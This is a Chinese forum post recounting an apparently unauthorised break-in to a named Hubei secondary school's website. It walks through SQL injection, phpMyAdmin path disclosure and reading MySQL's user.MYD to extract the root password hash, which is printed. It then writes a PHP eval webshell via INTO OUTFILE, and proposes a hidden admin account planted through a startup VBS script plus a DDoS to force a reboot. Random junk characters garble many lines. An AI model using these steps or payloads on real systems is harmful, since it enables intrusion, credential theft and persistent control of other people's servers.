友情检测湖北省大治市第一中学

admin

第一眼看去，好像全是html静态的，都知道静态的根本不好日，多点击几个专栏
发现这个：http://www.dyyz.net.cn/celebrate/list.php?id=3  -0  -1 判断后确认存在注入！
) M. @, N* ^6 E8 H# u$ r' f
' J; r: B! M6 Z2 T- O5 B

常规手工不行，尝试突破也不行，利用穿山甲 可以注入：root权限

那么想可以直接写入shell ，getshell有几个条件：

1、知道站点物理路径

2、有足够大的权限

3、magic_quotes_gpc()=OFF

$ t! c% ~/ X- t: N试着爆绝对路径：
  G1 f3 O$ Y. T5 z6 N1./phpMyAdmin/index.php?lang[]=1  
2./phpMyAdmin/phpinfo.php  
3./load_file()  
% ~1 F* q+ W; W% I( H+ |1 ^$ q6 w; O0 @4./phpmyadmin/themes/darkblue_orange/layout.inc.php  
* j8 J. I& U: Y. A4 V9 I5./phpmyadmin/libraries/select_lang.lib.php  
5 f0 W# d* s' E: b: L$ n9 g6./phpmyadmin/libraries/lect_lang.lib.php  
7./phpmyadmin/libraries/mcrypt.lib.php   
# F# s  N$ `9 X9 X$ c' m. L8./phpmyadmin/libraries/export/xls.php  
4 c/ Q# A, H% a( W  z; [9 c
; k% U& e6 w3 E- _$ ]5 Z2 E均不行...........................

0 Z; S5 I3 P$ B8 E+ N) K御剑扫到这个：http://www.dyyz.net.cn//phpinfo.php       获得网站路径：D:/www/phpinfo.php
" W1 j( ?; j. ?) P8 U! a
8 c! R! q6 `) u; ^- G( d' p, w& l权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin
  t* |" V1 ?, u. e' ]
. `: k* B( ]' ?7 T. D0 E" ?默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败

: R0 ?( ~# I9 g' }/ }9 p+ ~敏感东西：http://202.103.49.66/Admincp.php  社工进不去...........
) h8 ~1 {0 J- k) J
想想root还可以读，读到root密码进phpmyadmin 也可以拿shell

http://www.dyyz.net.cn//phpinfo.php  泄露了D:\phpStudy\PHP5\php.ini
  m# j2 N5 U7 D$ H8 U  t- g
" v% Y0 s/ w( Y* H自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD

成功读到root密码：
% n  i) M5 D) g! H" `
" t% i+ Y/ _/ D( V; ]. F1 o17---- r(0072)
18---- o(006f)
19---- o(006f)
20---- t(0074)
. |9 M  W% \  p, q0 V21---- *(002a)
22---- 8(0038)
! _1 J: P; H4 {. v23---- 2(0032)
- H  s4 V! F4 D0 r( f24---- E(0045)
25---- 1(0031)
( C7 ~& e  R- f' q  V- ^' ~, C26---- C(0043)
27---- 5(0035)
28---- 8(0038)
2 ]% k5 G9 t1 z0 ?- F: n29---- 2(0032)
30---- 8(0038)
31---- A(0041)
2 }+ k6 n0 m: X3 k( L* X; @. k32---- 9(0039)
; ^  |( W5 Y$ c. v' ~1 C/ v, d33---- B(0042)
! u9 k/ v4 b% V( o& o2 V, f34---- 5(0035)
35---- 4(0034)
36---- 8(0038)
37---- 6(0036)
38---- 4(0034)
39---- 9(0039)
40---- 1(0031)
2 Q2 F- O$ p1 c: F9 B. ?5 e, _# Z: b# F41---- 1(0031)
42---- 5(0035)
43---- 3(0033)
44---- 5(0035)
45---- 9(0039)
) m! b( Q) `2 C! u6 q) `46---- 8(0038)
47---- F(0046)
8 A6 y- H8 P9 [+ r7 N48---- F(0046)
8 Z  r" S; {4 p& ~49---- 4(0034)
50---- F(0046)
- c2 q( r3 L3 ?9 A1 B51---- 0(0030)
( I4 q$ t4 h5 v52---- 3(0033)
53---- 2(0032)
54---- A(0041)
55---- 4(0034)
56---- A(0041)
: l! {% t- U4 A# r57---- B(0042)
58---- *(0044)
; A8 n! y* L8 k( R, u, O) m5 `59---- *(0035)
6 X# i" h* O+ k1 v$ Z  O60---- *(0041)
61---- *0032)
/ ^( L) z) w5 U/ q5 w2 a
/ Q  d3 O  S6 J! x% j1 b解密后成功登陆phpmyamin
2 P( |8 S: c* ?# G! H) i+ d                          

                             
: j$ {. p7 F. i7 G) y  N9 v7 N0 E
/ v$ U( z, K- N+ F找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php'

成功执行，拿下shell，菜刀连接：

  L) A8 T3 U' R' l服务器不支持asp,aspx,php提权无果...................

但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里：

服务器上已经有个隐藏帐号了

) H) x+ K, n! e# w7 H4 i- c: f

别名     administrators
4 R- g! x# q9 n+ _) W, Z6 _4 O5 q注释     管理员对计算机/域有不受限制的完全访问权

成员

) R7 |. o7 u% ~" j+ [2 e8 n

-------------------------------------------------------------------------------
( t4 v. |) k2 p* }3 Aadmin
Administrator
slipper$
, m# h  y# u7 }# Usqluser
命令成功完成。
7 n2 d6 s! _/ u4 X1 \! R
2 j/ z8 Y8 R2 D. E1 t+ g$ R2 ]服务器权限很松，上传个vbs添加用户的到启动，不要用bat，会开机的时候显示运行批处理的。
; U: `+ g4 p6 i7 K# c: N- Q
, i$ A2 C+ A* e" A" J, u* z0 g- Fddos服务器重启，不然就只能坐等服务器重启了...............................
" \7 w3 F* |( P- z) b
      

angel